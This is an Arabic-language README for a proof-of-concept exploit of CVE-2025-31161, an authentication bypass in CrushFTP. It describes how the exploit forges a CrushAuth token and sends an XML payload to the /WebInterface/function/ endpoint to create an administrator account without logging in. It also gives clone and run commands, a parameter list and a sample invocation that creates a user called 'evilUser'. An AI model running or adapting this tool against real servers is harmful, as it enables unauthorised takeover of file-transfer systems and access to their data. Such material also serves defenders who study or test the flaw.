CVE-2025-31161 - استغلال تجاوز المصادقة في CrushFTP

PoC CVE-2025-31161 - تجاوز المصادقة في CrushFTP

📌 تفاصيل CVE

• المعرّف: CVE-2025-31161
• النوع: تجاوز المصادقة
• المورد: CrushFTP
• التأثير: يسمح للمهاجمين غير المصادق عليهم بتزوير رمز CrushAuth صالح وإنشاء مستخدم إداري بصلاحيات كاملة.
• مزيد من المعلومات: إدخال NVD (عند توفره)

⚙️ الوصف

يستهدف هذا الاستغلال ثغرة حرجة في CrushFTP، مما يسمح للمهاجمين عن بُعد غير المصادق عليهم بتجاوز المصادقة وإنشاء مستخدمين إداريين عشوائيين.

يعمل عن طريق صياغة رمز CrushAuth ذي مظهر صالح وإساءة استخدام نقطة النهاية /WebInterface/function/ لإرسال حمولة XML مكتملة التكوين.

🚀 الاستخدام

🔧 المتطلبات

• curl
• shuf

التثبيت

git clone https://github.com/f4dee-backup/CVE-2025-31161

cd CVE-2025-31161

chmod +x CVE-2025-31161.sh

لوحة المساعدة:

./CVE-2025-31161.sh --help

[?] Parameters description:

	--url            Target base URL (e.g., http://target)
	--port           Port where CrushFTP is running
	--target-user    Valid or invalid username (e.g., crushadmin)
	--new-user       Username to be created (e.g., Pwn3d)
	--new-password   Password for the new user
	--help           Show this help panel

[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345